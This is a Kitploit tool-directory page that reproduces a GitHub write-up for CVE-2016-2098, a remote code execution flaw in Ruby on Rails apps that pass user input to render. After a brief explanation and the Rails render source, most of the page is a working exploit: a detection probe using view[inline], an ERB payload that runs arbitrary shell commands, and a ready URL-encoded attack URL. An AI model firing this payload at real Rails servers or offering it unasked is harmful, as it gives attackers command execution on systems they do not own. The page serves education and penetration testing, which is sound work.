Skip to content
KitploitKITPLOIT
ToolsBlog
Submit
ToolsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

··Feeds·Contact·Privacy·© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
CVE-2016-2098 — Remote code execution vulnerability in Ruby-on-Rails when using render on user-supplied data. | Kitploit
Tools/GitHubGitHub/j4k0m/cve-2016-2098
Vulnerability AnalysisCode AnalysisExploitationWeb Application ExploitationPenetration TestingLearning & Education
GitHubj4k0m/cve-2016-2098

CVE-2016-2098

Remote code execution vulnerability in Ruby-on-Rails when using render on user-supplied data.

View Repository
44 years agoNot yet reviewed

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →
Share

CVE-2016-2098

Remote code execution vulnerability in Ruby-on-Rails when using render on user-supplied data.

Explanation:

This issue comes from the usage of the render method on user-supplied data.

The method render is usually used to render a page from a template, but render method also allows developers to render plain text (plaintext) and even inline code (inline).

render function:

root@kitploit:~
# File actionpack/lib/abstract_controller/rendering.rb, line 23
def render(*args, &block)
  options = _normalize_render(*args, &block)
  rendered_body = render_to_body(options)
  if options[:html]
    _set_html_content_type
  else
    _set_rendered_content_type rendered_format
  end
  _set_vary_header
  self.response_body = rendered_body
end

Exploitaion Example:

Target URL:

root@kitploit:~
http://example.com/?view=test

Exploitaion:

root@kitploit:~
http://example.com/?view[inline]=OK

If 'OK' showen in the source code then the web application is vulnerable to CVE-2016-2098.

Remote Code Execution

root@kitploit:~
<%= %x('[CMD]') %>

We can replace CMD to our command that we want it to be excutued.

root@kitploit:~
<%= %x('whoami') %>

After URL encoding:

root@kitploit:~
%3C%25=%20%25x(whoami)%20%25%3E

Final:

root@kitploit:~
http://example.com/?view[inline]=%3C%25=%20%25x(whoami)%20%25%3E

Resources:

  • https://guides.rubyonrails.org/layouts_and_rendering.html
Download Tool